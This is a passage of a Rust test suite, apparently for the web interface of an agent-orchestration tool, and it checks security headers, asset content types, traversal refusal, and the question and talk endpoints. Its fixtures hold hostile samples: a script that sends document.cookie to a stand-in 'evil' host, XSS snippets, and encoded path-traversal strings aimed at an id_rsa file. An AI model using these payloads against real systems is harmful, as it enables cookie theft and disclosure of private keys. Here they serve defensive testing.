4672 let fx = Fixture::start().await;
4673 let id = panel(
4674 &fx,
4675 "<h1>Merge?</h1><img src=\"diff.svg\">",
4676 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4677 );
4678
4679 for path in [
4680 format!("/api/questions/{id}/panel"),
4681 format!("/api/questions/{id}/asset/diff.svg"),
4682 ] {
4683 let res = fx.get(&path).await;
4684 assert_eq!(res.status, 200, "{path}: {}", res.body);
4685 assert_eq!(
4691 res.header("content-security-policy"),
4692 Some(
4693 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4694 font-src data:; base-uri 'none'; form-action 'none'; \
4695 frame-ancestors 'self'"
4696 ),
4697 "{path} is the only thing between a hostile panel and the tailnet"
4698 );
4699 assert_eq!(
4700 res.header("x-content-type-options"),
4701 Some("nosniff"),
4702 "{path}: a browser must not re-decide the type we sent"
4703 );
4704 assert_eq!(
4705 res.header("referrer-policy"),
4706 Some("no-referrer"),
4707 "{path}: a panel must not leak the question id off the machine"
4708 );
4709
4710 let pre = fx.head(&path).await;
4715 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4716 assert_eq!(
4717 pre.header("content-security-policy"),
4718 res.header("content-security-policy"),
4719 "{path}: the preflight carries the same policy"
4720 );
4721 assert_eq!(
4722 pre.header("content-type"),
4723 res.header("content-type"),
4724 "{path}: the preflight carries the same type"
4725 );
4726 }
4727 }
4728
4729 #[tokio::test]
4730 async fn a_panel_reaches_the_browser_byte_for_byte() {
4731 let fx = Fixture::start().await;
4732 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4737 let id = panel(&fx, html, &[]);
4738
4739 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4740
4741 assert_eq!(res.status, 200);
4742 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4743 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4744 assert_eq!(
4745 res.header("content-disposition"),
4746 None,
4747 "the panel itself is rendered in the frame, not downloaded"
4748 );
4749 }
4750
4751 #[tokio::test]
4752 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4753 let fx = Fixture::start().await;
4754 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4755 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4756 let id = panel(
4757 &fx,
4758 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4759 &[("diff.svg", svg), ("shot.png", png)],
4760 );
4761
4762 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4763 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4764
4765 assert_eq!(as_svg.status, 200);
4766 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4767 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4772
4773 assert_eq!(as_png.status, 200);
4774 assert_eq!(as_png.header("content-type"), Some("image/png"));
4775 assert_eq!(
4776 as_png.header("content-disposition"),
4777 None,
4778 "a raster image has no execution surface, so tapping it still shows it"
4779 );
4780 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4781 }
4782
4783 #[tokio::test]
4784 async fn an_html_asset_is_never_served_as_html() {
4785 let fx = Fixture::start().await;
4786 let id = panel(
4787 &fx,
4788 "<p>see the notes</p>",
4789 &[
4790 (
4791 "notes.html",
4792 b"<script>fetch('http://evil/'+document.cookie)</script>",
4793 ),
4794 ("hook.js", b"fetch('http://evil/')"),
4795 ("data.json", b"{}"),
4796 ("HEADLINE.TXT", b"plain"),
4797 ],
4798 );
4799
4800 for name in ["notes.html", "hook.js", "data.json"] {
4801 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4802 assert_eq!(res.status, 200, "{name}: {}", res.body);
4803 assert_eq!(
4808 res.header("content-type"),
4809 Some("application/octet-stream"),
4810 "{name} must not be a type the browser will execute or render"
4811 );
4812 }
4813 let txt = fx
4816 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4817 .await;
4818 assert_eq!(
4819 txt.header("content-type"),
4820 Some("text/plain; charset=utf-8")
4821 );
4822 }
4823
4824 #[tokio::test]
4825 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4826 let fx = Fixture::start().await;
4827 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4828 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4832
4833 for encoded in [
4840 "%2e%2e%2fid_rsa",
4841 "..%2fid_rsa",
4842 "..%5cid_rsa",
4843 "%2e%2e%5cid_rsa",
4844 "diff%00.svg",
4845 "..",
4846 ".hidden",
4847 "%2e%2e%2f%2e%2e%2fid_rsa",
4848 ] {
4849 let res = fx
4850 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4851 .await;
4852 assert_eq!(
4853 res.status, 400,
4854 "`{encoded}` has to be refused by name, not looked up: {}",
4855 res.body
4856 );
4857 assert!(res.json()["error"].is_string(), "{}", res.body);
4858 }
4859
4860 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4866 let res = fx
4867 .get(&format!("/api/questions/{id}/asset/{literal}"))
4868 .await;
4869 assert_eq!(
4870 res.status, 404,
4871 "`{literal}` must not match the asset route at all: {}",
4872 res.body
4873 );
4874 }
4875 }
4876
4877 #[tokio::test]
4878 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4879 let fx = Fixture::start().await;
4880 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4881 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4882
4883 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4887 assert_eq!(none.status, 404, "{}", none.body);
4888 assert!(none.json()["error"].is_string(), "{}", none.body);
4889 assert_eq!(
4890 fx.head(&format!("/api/questions/{plain}/panel"))
4891 .await
4892 .status,
4893 404,
4894 "the preflight is the only way the client can learn this"
4895 );
4896
4897 let missing = fx
4899 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4900 .await;
4901 assert_eq!(missing.status, 404, "{}", missing.body);
4902 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4903
4904 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4906 assert_eq!(
4907 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4908 404
4909 );
4910 }
4911
4912 #[tokio::test]
4913 async fn a_run_with_an_open_question_reads_as_waiting() {
4914 let fx = Fixture::start().await;
4915 let run = "20260902-000000-beef".to_owned();
4916 write_run(&fx.runs(), &run, RunStatus::Implementing);
4917
4918 let before = fx.get("/api/runs").await.json();
4919 assert_eq!(before[0]["waiting"], false, "{before}");
4920
4921 let store = fx.questions();
4922 let mut q = Question::new(
4923 run.clone(),
4924 "implement".to_owned(),
4925 "impl-A".to_owned(),
4926 "Which backend?".to_owned(),
4927 String::new(),
4928 vec!["SQLite".to_owned()],
4929 );
4930 store.put(&mut q).expect("put");
4931
4932 let during = fx.get("/api/runs").await.json();
4933 assert_eq!(during[0]["waiting"], true, "{during}");
4934
4935 q.answer(Answer::Choice("SQLite".to_owned()))
4938 .expect("answer");
4939 store.put(&mut q).expect("put");
4940 let after = fx.get("/api/runs").await.json();
4941 assert_eq!(after[0]["waiting"], false, "{after}");
4942 }
4943
4944 #[tokio::test]
4945 async fn an_open_question_is_listed_and_counted_by_health() {
4946 let fx = Fixture::start().await;
4947 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4948
4949 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4950 let listed = fx.get("/api/questions").await.json();
4951 assert_eq!(listed.as_array().expect("array").len(), 1);
4952 assert_eq!(listed[0]["id"], id);
4953 assert_eq!(listed[0]["status"], "open");
4954 assert_eq!(listed[0]["choices"][1], "Redis");
4955 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4958 }
4959
4960 #[tokio::test]
4961 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4962 let fx = Fixture::start().await;
4963 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4964 let path = format!("/api/questions/{id}/answer");
4965
4966 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4967 assert_eq!(res.status, 200, "{}", res.body);
4968 let body = res.json();
4969 assert_eq!(body["status"], "answered");
4970 assert_eq!(body["answer"]["choice"], "Redis");
4971
4972 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4976 assert_eq!(again.status, 409, "{}", again.body);
4977 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4978 }
4979
4980 #[tokio::test]
4981 async fn saying_something_appends_a_turn_without_answering() {
4982 let fx = Fixture::start().await;
4983 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4984 let path = format!("/api/questions/{id}/say");
4985
4986 let res = fx
4987 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4988 .await;
4989 assert_eq!(res.status, 200, "{}", res.body);
4990 let body = res.json();
4991 assert_eq!(body["status"], "open", "talking back is not a decision");
4992 assert_eq!(body["answer"], Value::Null);
4993 assert_eq!(body["thread"][0]["who"], "operator");
4994 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4995 assert_eq!(body["waiting_on_agent"], true);
4996 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4998 }
4999
5000 #[tokio::test]
5001 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5002 let fx = Fixture::start().await;
5003 let store = fx.questions();
5004 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5005 assert_eq!(
5006 fx.get("/api/health").await.json()["questions_needs_owner"],
5007 1
5008 );
5009
5010 let res = fx
5016 .post(
5017 &format!("/api/questions/{id}/say"),
5018 Some(r#"{"body":"why not Postgres?"}"#),
5019 )
5020 .await;
5021 assert_eq!(res.status, 200, "{}", res.body);
5022 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5023 assert_eq!(
5024 fx.get("/api/health").await.json()["questions_needs_owner"],
5025 0,
5026 "waiting on the agent is not waiting on the owner"
5027 );
5028
5029 let mut q = store.get(&id).expect("get");
5033 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5034 .expect("reply");
5035 store.put(&mut q).expect("put");
5036 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5037 assert_eq!(
5038 fx.get("/api/health").await.json()["questions_needs_owner"],
5039 1,
5040 "the agent's reply is what should light the banner back up"
5041 );
5042 }
5043
5044 #[tokio::test]
5045 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5046 let fx = Fixture::start().await;
5047 let store = fx.questions();
5048
5049 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5050 let res = fx
5051 .post(
5052 &format!("/api/questions/{empty_id}/say"),
5053 Some(r#"{"body":" "}"#),
5054 )
5055 .await;
5056 assert_eq!(res.status, 400, "{}", res.body);
5057
5058 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5059 let mut answered = store.get(&answered_id).expect("get");
5060 answered
5061 .answer(Answer::Choice("SQLite".to_owned()))
5062 .expect("answer");
5063 store.put(&mut answered).expect("put");
5064 let res = fx
5065 .post(
5066 &format!("/api/questions/{answered_id}/say"),
5067 Some(r#"{"body":"still there?"}"#),
5068 )
5069 .await;
5070 assert_eq!(res.status, 409, "{}", res.body);
5071
5072 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5073 let mut abandoned = store.get(&abandoned_id).expect("get");
5074 abandoned.abandon("timed out");
5075 store.put(&mut abandoned).expect("put");
5076 let res = fx
5077 .post(
5078 &format!("/api/questions/{abandoned_id}/say"),
5079 Some(r#"{"body":"still there?"}"#),
5080 )
5081 .await;
5082 assert_eq!(res.status, 409, "{}", res.body);
5083 }
5084
5085 #[tokio::test]
5086 async fn an_answer_the_question_does_not_offer_is_refused() {
5087 let fx = Fixture::start().await;
5088 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5089 let path = format!("/api/questions/{id}/answer");
5090
5091 for body in [
5092 r#"{"choice":"Postgres"}"#,
5093 r#"{"text":"whatever you think"}"#,
5094 r#"{"choice":"Redis","text":"both"}"#,
5095 r#"{}"#,
5096 ] {
5097 let res = fx.post(&path, Some(body)).await;
5098 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5099 assert!(res.json()["error"].is_string(), "{}", res.body);
5100 }
5101 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5103 }
5104
5105 #[tokio::test]
5106 async fn a_free_text_question_takes_text_and_not_a_choice() {
5107 let fx = Fixture::start().await;
5108 let id = ask(&fx, "What should the flag be called?", &[]);
5109 let path = format!("/api/questions/{id}/answer");
5110
5111 assert_eq!(
5112 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5113 400
5114 );
5115 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5116 assert_eq!(res.status, 200, "{}", res.body);
5117 assert_eq!(res.json()["answer"]["text"], "--json");
5118 }
5119
5120 #[tokio::test]
5121 async fn an_unknown_question_is_a_json_404() {
5122 let fx = Fixture::start().await;
5123 let res = fx
5124 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5125 .await;
5126 assert_eq!(res.status, 404, "{}", res.body);
5127 assert!(res.json()["error"].is_string());
5128 }
5129
5130 #[tokio::test]
5137 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5138 let f = Fixture::start().await;
5139
5140 let res = f
5141 .post(
5142 "/api/queue",
5143 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5144 )
5145 .await;
5146
5147 assert_eq!(
5148 res.status, 405,
5149 "POST /api/queue must not be a route: {}",
5150 res.body
5151 );
5152 assert!(
5153 f.queue().list().is_empty(),
5154 "a task filed by a route that does not exist must not reach the disk"
5155 );
5156 assert_eq!(f.get("/api/queue").await.status, 200);
5159 }
5160
5161 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5163 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5164 .expect("checkout dir");
5165 }
5166
5167 #[tokio::test]
5168 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5169 let tmp = TempDir::new().expect("tempdir");
5170 let repo = tmp.path().join("repo");
5171 std::fs::create_dir_all(&repo).expect("repo dir");
5172 let root = tmp.path().join("root");
5173 make_checkout(&root, "github.com", "yukimemi", "magi");
5174 std::fs::write(
5175 repo.join("magi.toml"),
5176 format!(
5177 "[repos]\nroots = [{:?}]\n",
5178 root.to_string_lossy().into_owned()
5179 ),
5180 )
5181 .expect("write magi.toml");
5182
5183 let f = Fixture::with_repo(repo).await;
5184 let res = f.get("/api/repos").await;
5185 assert_eq!(res.status, 200, "{}", res.body);
5186 let list = res.json();
5187 let repos = list.as_array().expect("an array");
5188 assert_eq!(repos.len(), 1);
5189 assert_eq!(repos[0]["name"], "yukimemi/magi");
5190 assert!(
5191 repos[0]["path"]
5192 .as_str()
5193 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5194 "{list}"
5195 );
5196 }
5197
5198 #[tokio::test]
5199 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5200 let tmp = TempDir::new().expect("tempdir");
5201 let repo = tmp.path().join("repo");
5202 std::fs::create_dir_all(&repo).expect("repo dir");
5203 let root = tmp.path().join("root");
5204 make_checkout(&root, "github.com", "yukimemi", "magi");
5205 std::fs::write(
5206 repo.join("magi.toml"),
5207 format!(
5208 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5209 root.to_string_lossy().into_owned()
5210 ),
5211 )
5212 .expect("write magi.toml");
5213
5214 let f = Fixture::with_repo(repo).await;
5215 let first = f.get("/api/repos").await;
5216 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5217
5218 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5221 let second = f.get("/api/repos").await;
5222 assert_eq!(
5223 second.json().as_array().map(Vec::len),
5224 Some(1),
5225 "a fresh cache must not rescan inside the TTL"
5226 );
5227
5228 let refreshed = f.get("/api/repos?refresh=1").await;
5229 assert_eq!(
5230 refreshed.json().as_array().map(Vec::len),
5231 Some(2),
5232 "an explicit refresh must rescan even inside the TTL"
5233 );
5234 }
5235
5236 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5242
5243 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5247 let tmp = TempDir::new().expect("tempdir");
5248 let repo = tmp.path().join("repo");
5249 std::fs::create_dir_all(&repo).expect("repo dir");
5250 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5251 let f = Fixture::with_repo(repo.clone()).await;
5252 (tmp, repo, f)
5253 }
5254
5255 #[tokio::test]
5256 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5257 let (_tmp, _repo, f) = talk_fixture().await;
5258
5259 let opened = f.post("/api/talks", None).await;
5262 assert_eq!(opened.status, 201, "{}", opened.body);
5263 let body = opened.json();
5264 assert_eq!(body["status"], "open");
5265 assert_eq!(
5266 body["turns"].as_array().unwrap().len(),
5267 0,
5268 "opening takes no agent turn: there is nothing yet to answer"
5269 );
5270
5271 let also_opened = f.post("/api/talks", Some("{}")).await;
5273 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5274
5275 let listed = f.get("/api/talks").await.json();
5276 assert_eq!(listed.as_array().unwrap().len(), 2);
5277 }
5278
5279 #[tokio::test]
5280 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5281 let f = Fixture::start().await;
5282 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5283 let queue = f.queue();
5284 let mut mine = Task::new(
5285 "rename the loader".to_owned(),
5286 "rename the loader".to_owned(),
5287 PathBuf::from("/repo/magi"),
5288 Source::Agent {
5289 run: talk_id.clone(),
5290 node: "chat".to_owned(),
5291 },
5292 );
5293 queue.put(&mut mine).expect("file the task");
5294 let mut theirs = Task::new(
5295 "unrelated".to_owned(),
5296 "unrelated".to_owned(),
5297 PathBuf::from("/repo/magi"),
5298 Source::Human,
5299 );
5300 queue.put(&mut theirs).expect("file the task");
5301
5302 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5303 assert_eq!(res.status, 200, "{}", res.body);
5304 let body = res.json();
5305 assert_eq!(
5306 body["status"], "open",
5307 "filing a task does not close a talk"
5308 );
5309 let tasks = body["tasks"].as_array().expect("tasks array");
5310 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5311 assert_eq!(tasks[0]["id"], mine.id);
5312 }
5313
5314 #[tokio::test]
5315 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5316 let (_tmp, _repo, f) = talk_fixture().await;
5317 let id = f.post("/api/talks", None).await.json()["id"]
5318 .as_str()
5319 .expect("id")
5320 .to_owned();
5321
5322 let res = f
5323 .post(
5324 &format!("/api/talks/{id}/say"),
5325 Some(r#"{"text":"what does the queue module do?"}"#),
5326 )
5327 .await;
5328 assert_eq!(res.status, 202, "{}", res.body);
5329 let queued = res.json();
5330 let turns = queued["turns"].as_array().expect("turns array");
5331 assert_eq!(
5332 turns.len(),
5333 1,
5334 "the answer reflects only what is on disk the instant it is sent, \
5335 before the agent's turn - which can run for the whole of \
5336 `[graph] timeout_talk` - has a chance to land: {queued}"
5337 );
5338 assert_eq!(turns[0]["who"], "operator");
5339 assert_eq!(turns[0]["body"], "what does the queue module do?");
5340 assert_eq!(
5341 queued["thinking"], true,
5342 "the accepted response exposes the background turn claim: {queued}"
5343 );
5344
5345 let mut turns_after = 1;
5346 for _ in 0..SETTLE_STEPS {
5347 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5348 turns_after = detail["turns"].as_array().expect("turns array").len();
5349 if turns_after == 2 {
5350 break;
5351 }
5352 tokio::time::sleep(Duration::from_millis(10)).await;
5353 }
5354 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5355 }
5356
5357 #[tokio::test]
5384 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5385 let tmp = TempDir::new().expect("tempdir");
5386 let repo = tmp.path().join("repo");
5387 std::fs::create_dir_all(&repo).expect("repo dir");
5388 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5389 let home = TempDir::new().expect("temp home");
5390 let talks = Talks::at(home.path().join("talks"));
5391 let ui = Arc::new(
5392 Ui::new(
5393 Queue::at(home.path().join("queue")),
5394 Questions::at(home.path().join("questions")),
5395 talks.clone(),
5396 home.path().join("runs"),
5397 home.path().to_path_buf(),
5398 repo.clone(),
5399 )
5400 .with_worktrees_root(home.path().join("wt")),
5401 );
5402 let cfg = config_for(&repo).await.expect("discover config");
5403
5404 for delay in 0..40u32 {
5405 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5406 let id = talk.id.clone();
5407
5408 let handler = tokio::spawn(talk_say(
5409 State(Arc::clone(&ui)),
5410 Path(id.clone()),
5411 Ok(Json(NewTalkTurn {
5412 text: "what does the queue module do?".to_owned(),
5413 attachments: Vec::new(),
5414 })),
5415 ));
5416 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5417 handler.abort();
5418 let _ = handler.await;
5421
5422 let mut turns = 0;
5423 for _ in 0..SETTLE_STEPS {
5424 if let Ok(fresh) = talks.get(&id) {
5425 turns = fresh.turns.len();
5426 if turns != 1 {
5427 break;
5428 }
5429 }
5430 tokio::time::sleep(Duration::from_millis(10)).await;
5431 }
5432 assert_ne!(
5433 turns, 1,
5434 "delay {delay}: talk {id} recorded the operator's turn but \
5435 the agent never answered - the reply task was never \
5436 started after the handler future was dropped"
5437 );
5438 }
5439 }
5440
5441 #[tokio::test]
5486 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5487 let tmp = TempDir::new().expect("tempdir");
5488 let repo = tmp.path().join("repo");
5489 std::fs::create_dir_all(&repo).expect("repo dir");
5490 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5491 let home = TempDir::new().expect("temp home");
5492 let talks = Talks::at(home.path().join("talks"));
5493 let ui = Arc::new(
5494 Ui::new(
5495 Queue::at(home.path().join("queue")),
5496 Questions::at(home.path().join("questions")),
5497 talks.clone(),
5498 home.path().join("runs"),
5499 home.path().to_path_buf(),
5500 repo.clone(),
5501 )
5502 .with_worktrees_root(home.path().join("wt")),
5503 );
5504 let cfg = config_for(&repo).await.expect("discover config");
5505
5506 for attempt in 0..3u32 {
5507 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5508 let id = talk.id.clone();
5509 let turn_guard = ui
5512 .begin_talk_turn(&id)
5513 .expect("claim the turn")
5514 .expect("a fresh talk owes nobody a turn");
5515
5516 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
5517 let (release_tx, release_rx) = std::sync::mpsc::channel();
5518 ui.set_busy_queue_gate(BusyQueueGate {
5519 reached: reached_tx,
5520 release: release_rx,
5521 });
5522
5523 let handler = tokio::spawn(talk_say(
5524 State(Arc::clone(&ui)),
5525 Path(id.clone()),
5526 Ok(Json(NewTalkTurn {
5527 text: "what does the queue module do?".to_owned(),
5528 attachments: Vec::new(),
5529 })),
5530 ));
5531
5532 tokio::time::timeout(Duration::from_secs(5), reached_rx)
5537 .await
5538 .unwrap_or_else(|_| {
5539 panic!(
5540 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
5541 )
5542 })
5543 .expect("the busy branch dropped the gate without using it");
5544
5545 let running = talks.get(&id).expect("reload talk");
5552 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5553
5554 handler.abort();
5558 let _ = handler.await;
5559
5560 let _ = release_tx.send(());
5566
5567 let mut fresh = talks.get(&id).expect("reload talk");
5570 for _ in 0..SETTLE_STEPS {
5571 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5572 break;
5573 }
5574 tokio::time::sleep(Duration::from_millis(10)).await;
5575 fresh = talks.get(&id).expect("reload talk");
5576 }
5577 assert!(
5578 fresh.pending.is_empty() && fresh.turns.len() == 2,
5579 "attempt {attempt}: talk {id} left the operator's text queued \
5580 with no drainer - the reclaimed turn was dropped along with \
5581 the handler future (pending {:?}, {} turns)",
5582 fresh.pending,
5583 fresh.turns.len()
5584 );
5585 }
5586 }
5587
5588 #[tokio::test]
5589 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5590 let (_tmp, _repo, f) = talk_fixture().await;
5591 let id = f.post("/api/talks", None).await.json()["id"]
5592 .as_str()
5593 .expect("id")
5594 .to_owned();
5595 let store = f.talks();
5596 let mut recovered = store.get(&id).expect("opened talk");
5597 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5598 .expect("persist pending draft without a live turn");
5599
5600 let edited = f
5601 .post(
5602 &format!("/api/talks/{id}/pending/edit"),
5603 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5604 )
5605 .await;
5606 assert_eq!(edited.status, 200, "{}", edited.body);
5607 assert!(edited.json()["thinking"].as_bool().unwrap());
5608
5609 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5610 for _ in 0..SETTLE_STEPS {
5611 if detail["turns"].as_array().expect("turns").len() == 2 {
5612 break;
5613 }
5614 tokio::time::sleep(Duration::from_millis(10)).await;
5615 detail = f.get(&format!("/api/talks/{id}")).await.json();
5616 }
5617 let turns = detail["turns"].as_array().expect("turns");
5618 assert_eq!(
5619 turns.len(),
5620 2,
5621 "the recovered draft must run once: {detail}"
5622 );
5623 assert_eq!(turns[0]["body"], "corrected");
5624 assert_eq!(detail["pending"], "");
5625 }
5626
5627 #[tokio::test]
5628 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5629 let tmp = TempDir::new().expect("tempdir");
5630 let repo = tmp.path().join("repo");
5631 std::fs::create_dir_all(&repo).expect("repo dir");
5632 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5633 let f = Fixture::with_repo(repo).await;
5634 let id = f.post("/api/talks", None).await.json()["id"]
5635 .as_str()
5636 .expect("id")
5637 .to_owned();
5638 let store = f.talks();
5639 let mut recovered = store.get(&id).expect("opened talk");
5640 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5641 .expect("persist pending draft without a live turn");
5642
5643 let refused = f
5644 .post(
5645 &format!("/api/talks/{id}/say"),
5646 Some(r#"{"text":"new message"}"#),
5647 )
5648 .await;
5649 assert_eq!(refused.status, 409, "{}", refused.body);
5650 assert!(refused.body.contains("resume"), "{}", refused.body);
5651 let saved = store.get(&id).expect("draft remains after refusal");
5652 assert!(saved.turns.is_empty());
5653 assert_eq!(saved.pending, "saved before restart");
5654
5655 let say_path = format!("/api/talks/{id}/say");
5656 let (first, second) = tokio::join!(
5657 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5658 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5659 );
5660 assert_eq!(first.status, 409, "{}", first.body);
5661 assert_eq!(second.status, 409, "{}", second.body);
5662 let saved = store
5663 .get(&id)
5664 .expect("draft remains after concurrent refusals");
5665 assert!(saved.turns.is_empty());
5666 assert_eq!(saved.pending, "saved before restart");
5667
5668 let resumed = f
5669 .post(&format!("/api/talks/{id}/pending/resume"), None)
5670 .await;
5671 assert_eq!(resumed.status, 202, "{}", resumed.body);
5672 let duplicate = f
5673 .post(&format!("/api/talks/{id}/pending/resume"), None)
5674 .await;
5675 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5676
5677 for _ in 0..SETTLE_STEPS {
5678 if store.get(&id).expect("talk").turns.len() == 2 {
5679 break;
5680 }
5681 tokio::time::sleep(Duration::from_millis(10)).await;
5682 }
5683 let finished = store.get(&id).expect("finished talk");
5684 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5685 assert_eq!(finished.turns[0].body, "saved before restart");
5686 assert!(finished.pending.is_empty());
5687 }
5688
5689 #[tokio::test]
5690 async fn an_image_only_recovered_draft_resumes_without_text() {
5691 let (_tmp, _repo, f) = talk_fixture().await;
5692 let id = f.post("/api/talks", None).await.json()["id"]
5693 .as_str()
5694 .expect("id")
5695 .to_owned();
5696 let uploaded = f
5697 .post_bytes(
5698 &format!("/api/talks/{id}/attachments"),
5699 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5700 PNG_BYTES,
5701 )
5702 .await;
5703 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5704 let attachment = f
5705 .talks()
5706 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5707 .expect("attachment metadata")
5708 .expect("stored attachment");
5709 let store = f.talks();
5710 let mut recovered = store.get(&id).expect("opened talk");
5711 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5712
5713 let resumed = f
5714 .post(&format!("/api/talks/{id}/pending/resume"), None)
5715 .await;
5716 assert_eq!(resumed.status, 202, "{}", resumed.body);
5717 for _ in 0..SETTLE_STEPS {
5718 if store.get(&id).expect("talk").turns.len() == 2 {
5719 break;
5720 }
5721 tokio::time::sleep(Duration::from_millis(10)).await;
5722 }
5723 let finished = store.get(&id).expect("finished talk");
5724 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5725 assert!(finished.turns[0].body.is_empty());
5726 assert_eq!(finished.turns[0].attachments.len(), 1);
5727 assert!(finished.pending_attachments.is_empty());
5728 }
5729
5730 #[tokio::test]
5731 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5732 let (_tmp, _repo, f) = talk_fixture().await;
